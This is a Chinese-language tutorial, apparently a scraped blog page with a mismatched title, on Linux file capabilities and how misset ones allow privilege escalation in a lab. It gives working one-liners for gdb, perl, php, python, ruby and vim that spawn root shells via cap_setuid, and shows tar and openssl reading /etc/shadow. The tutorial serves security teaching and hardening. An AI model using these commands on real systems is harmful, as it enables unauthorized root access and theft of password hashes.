c++ 读取访问权限冲突_Linux系统利用可执行文件的Capabilities实现权限提升
一、操作目的和应用场景
Capabilities机制是在Linux内核2.2之后引入的,原理很简单,就是将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。
这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。
如果Capabilities设置不正确,就会让攻击者有机可乘,实现权限提升。
二、平台及工具版本
host系统:kali linux 2020
虚拟机管理程序:virtualbox
虚拟机:CentOS 7
三、操作步骤
(一)Linux Capabilities管理
1、 Linux系统管理Capabilities的工具
Linux系统中主要提供了两种工具来管理capabilities:libcap和libcap-ng。
libcap提供了getcap和setcap两个命令来分别查看和设置文件的capabilities,同时还提供了capsh来查看当前shell进程的capabilities。
libcap-ng更易于使用,使用同一个命令filecap来查看和设置capabilities。
2、 Capabilities的管理方法
(1)设置Capability
举个例子,安装wireshark软件后,默认情况下,普通用户无法对网卡实施抓包操作。这是因为普通用户不具备相应的权限。
为解决此问题,可以为/usr/bin/dumpcap文件授予抓包相关的capabilities:
setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap
命令执行后重新启动wireshark,就可以抓包了。
(2)查看文件的Capability
getcap /usr/bin/dumpcap //查看文件的capabilities
(3)删除文件的capabilities
setcap -r /usr/bin/dumpcap
(二)利用Capabilities实现权限提升
现在假设管理员对一些可执行文件设置了capabilities。测试人员通过下面的命令查找这些文件:
getcap -r / 2>/dev/null
之后我们针对其中的一部分程序尝试提权。
请大家注意,从上面查找结果中可以看到,很多文件的capability被设置为cap_setuid。但是文件capabilities中的cap_setuid和文件的suid标志位之间是没有关系的:
设置了cap_setuid的capability的文件并没有设置suid。
设置了suid的程序也不拥有cap_setuid的capability。
1、 gdb
gdb -nx -ex ‘python import os; os.setuid(0)’ -ex ‘!sh’ -ex quit
提权成功,获取了root shell。
2、 perl
perl -e ‘use POSIX qw(setuid); POSIX::setuid(0); exec “/bin/sh”;’
提权成功,获取了root shell。
3、 php
php -r “posix_setuid(0); system(‘/bin/sh’);”
在kali linux上提权成功,获取了root shell。
在CentOS 7系统中安装的低版本php无法提权:
4、 python
python -c ‘import os; os.setuid(0); os.system(“/bin/sh”)’
提权成功,获取了root shell。
5、 ruby
ruby -e ‘Process::Sys.setuid(0); exec “/bin/sh”‘
提权成功,获取了root shell。
6、 rvim
rvim -c ‘:py import os; os.setuid(0); os.execl(“/bin/sh”, “sh”, “-c”, “reset; exec sh”)’
执行后获取root shell:
7、 vim
vim -c ‘:py import os; os.setuid(0); os.execl(“/bin/sh”, “sh”, “-c”, “reset; exec sh”)’
执行后获得root shell:
8、 tar
cap_dac_read_search可以绕过文件的读权限检查以及目录的读/执行权限的检查。
利用此特性我们可以读取系统中的敏感信息。
tar cvf shadow.tar /etc/shadow //创建压缩文件
tar -xvf shadow.tar //解压缩
cd etc //进入解压缩的目录
chmod +r shadow //赋予读权限
cat shadow | grep root //查看shadow文件的内容
这样就读取了/etc/shadow文件的内容,zip等程序也可以达到相同的目标,过程不再赘述。
9、 openssl
可以看到,openssl的capability被设置为空。下面我们尝试使用openssl读取/etc/shadow文件。
//使用openssl生成证书
cd /tmp
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
//启动web服务器,监听1337端口
cd /
openssl s_server -key /tmp/key.pem -cert /tmp/cert.pem -port 1337 -HTTP
//访问本机的web服务,读取/etc/shadow文件
curl -k “https://127.0.0.1:1337/etc/shadow“
提权成功。
四、参考网址
https://gtfobins.github.io/
https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/
https://medium.com/@int0x33/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099
精彩推荐
c++ 读取访问权限冲突_Linux系统利用可执行文件的Capabilities实现权限提升相关推荐
- linux系统利用可执行文件的Capabilities实现权限提升
一.操作目的和应用场景 Capabilities机制是在Linux内核2.2之后引入的,原理很简单,就是将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线 ...
- c++ 读取访问权限冲突_关于Windows文件6项基础权限的一些设置!
之前,我们讨论过设置Windows文件[始终]以图标显示,其实,在Windows中,关于文件的操作还有很多,比如设置文件权限.权限绝对是一个值得深究的话题,为不同的账户设置权限很重要,可以防止重要文件 ...
- setfacl 权限导出_linux学习-setfacl设置特定目录用户权限
需求:设置用户test,test1对特定的目录有读写执行权限,后加的文件也是这个权限. -R表示递归 -m表示设置文件acl规则 setfacl -R -m d:u:test:rwx /data2/t ...
- linux的644权限,常用linux系统644和755及777权限详解
常用的linux文件权限下文件权限设置中的数字表示权限,1-3位数字代表文件所有者的权限,4-6位数字代表同组用户的权限,7-9数字代表其他用户的权限.而具体的权限是由数字来表示的,读取的权限等于4, ...
- android读取应用列表权限,Android获取系统应用及安装应用的权限列表
主要通过PackageManager中的方法 代码: public class InstallApps extends ListActivity { HashMap map=new HashMap() ...
- linux命令行下读取u盘内容_Linux系统下使用U盘的方法
在linux系统之中, 一切设备皆文件, 所以我们的U盘也是一个文件.磁盘设备被抽象成sda文件, U盘设备被抽象成sdb文件. 1.查看所有的设备文件. 在linux的文件系统中, /dev中存放着 ...
- linux centos7增加文件夹权限,在Centos7系统中实现用户和文件权限的管理
实验:用户和文件权限管理 涉及到的命令:useradd usermode mkdir groupadd passwd chown chmod 建立用户目录 创建目录/tech/benet和/tech/ ...
- c++ 读取访问权限冲突_南京课工场IT培训:解析文件共享及访问方式
各位小伙伴大家好! 我们接上一篇的文件权限操作,接下来和各位小伙伴解析文件共享的操作方法. 我们首先使用管理员身份进入server2016系统,然后对我们之前在E盘中创建的abc的文件夹进行设置,右键 ...
- c++ 在Xmemory中,引发了异常: 读取访问权限冲突。 _Pnext 是 0x708
开发时遇到了这个问题,在Xmemory中,引发了异常: 读取访问权限冲突 通过打断点.prinf输出运行位置都无法定位该错误在何处发生,错误截图如下 最后推断是在析构时发生的异常,特此记录. 解决方法 ...
最新文章
- Spring Boot 集成 Swagger-Bootstrap-UI,非常棒的解决方案
- mysql server驱动_oracle、mysql、sql server等;流行数据库的链接驱动配置
- 第二届清华大学项目管理精英训练营【敏捷个人】分享
- Visual Studio 2017 的重大功能回顾和针对 .NET 开发者的更新
- python 文件操作不被打断_python学习六文件操作和异常处理
- Vanguard集团在美上市ETF资产超8700亿美元
- 如何优雅地给同事提“改进性建议”
- HDU6441 Find Integer(2018CCPC网络赛,费马大定理)
- xp如何快速升级win10系统
- 正则表达式(二)验证邮箱、电话号码
- python可以自动拆分表格吗_如何利用Python一键拆分表格并进行邮件发送~
- plotly绘制简单图形10--金字塔图
- msm8953-配置I2C 速率
- MongoDB,为何能在NoSQL家族里异军突起?
- 在图像间进行特征匹配
- 读书寄语之春天该很好,你若尚在场
- 小宝贝流鼻血,治疗方法
- c语言智能插座多线程原理,智能插座原理—智能插座的工作原理是什么
- Java常见的一些面试题目
- 算法手撕代码121~130
热门文章
- 动态规划--Leetcode121.买卖股票的最佳时机
- js与c语言效率_JavaScript比c语言的性能差了多少?
- 复制给节点的命令_深入理解redis主从复制原理
- git 忽略__pycache___容易被忽略的 Python 命令行参数
- 用Matlab来备份文件夹
- 火狐导cookie文件没反应_效率指南|实操区分FireFox火狐的国内版和国际版
- tensorflow中batch normalization的用法
- Android之智能问答机器人
- OD 快捷键使用大全。非常详细( 游戏逆向分析必看 )+ OD 断点 使用大全
- 王爽 汇编语言第三版 第9章 转移指令的原理